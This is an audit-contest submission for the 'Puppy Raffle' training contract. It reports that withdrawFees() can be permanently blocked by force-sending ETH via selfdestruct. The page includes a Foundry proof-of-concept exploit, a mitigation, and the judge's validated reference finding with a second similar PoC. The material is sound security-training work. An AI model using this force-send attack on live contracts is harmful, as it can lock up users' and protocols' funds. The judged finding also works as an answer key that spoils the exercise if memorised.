Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

DoS in `PuppyRaffle.withdrawFees()` Due to Strict Balance Check

a01278306088

Summary

The withdrawFees() function in PuppyRaffle.sol uses a strict equality check (address(this).balance == uint256(totalFees)) to ensure no active players exist before withdrawing fees. However, if any external address force-sends even a small amount of ETH (e.g., 1 wei) to the contract, the balance will exceed totalFees, causing the function to permanently revert and locking the accumulated fees forever.

Description

The withdrawFees() function relies on the assumption that the contract's balance will exactly match the accumulated fees:

function withdrawFees() external {
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

In Solidity, ETH can be force-sent to any contract without executing its code (e.g., via selfdestruct). If the contract receives unexpected ETH, address(this).balance will be greater than totalFees. The strict == check will fail, and the fees will be permanently locked.

Risk

Severity: High
Likelihood: Medium
Impact: High

An attacker can:

  1. Deploy a contract that force-sends 1 wei to the PuppyRaffle contract using selfdestruct

  2. Cause address(this).balance to exceed totalFees

  3. Make withdrawFees() permanently revert

This results in permanent loss of all accumulated protocol fees.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract ForceSender {
constructor(address target) payable {
selfdestruct(payable(target));
}
}
​
contract WithdrawFeesDoSTest is Test {
PuppyRaffle public raffle;
uint256 entranceFee = 1e18;
address feeAddress = address(99);
uint256 duration = 1 days;
​
function setUp() public {
raffle = new PuppyRaffle(entranceFee, feeAddress, duration);
address[] memory players = new address[](4);
players[0] = address(1); players[1] = address(2);
players[2] = address(3); players[3] = address(4);
vm.prank(address(1));
raffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
raffle.selectWinner();
}
function testForceSendETHBreaksWithdrawFees() public {
// Force send 1 wei to the raffle contract
new ForceSender{value: 1}(address(raffle));
// Attempt to withdraw fees - this will revert
vm.expectRevert("PuppyRaffle: There are currently players active!");
raffle.withdrawFees();
console.log("✅ DoS ATTACK SUCCESSFUL!");
console.log("Fees are permanently locked");
}
}

Run: forge test --match-contract WithdrawFeesDoSTest -vv

Expected Output:

✅ DoS ATTACK SUCCESSFUL!
Fees are permanently locked

Recommended Mitigation

Change the strict equality check to a greater-than-or-equal check:

function withdrawFees() external {
// Allow withdrawal even if balance is slightly higher due to force-sent ETH
require(address(this).balance >= uint256(totalFees), "PuppyRaffle: Insufficient fees");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Why This Works:
Using >= ensures that the function succeeds even if the contract holds more ETH than expected (e.g., from force-sent dust), preventing permanent locking of the fees.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 7 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!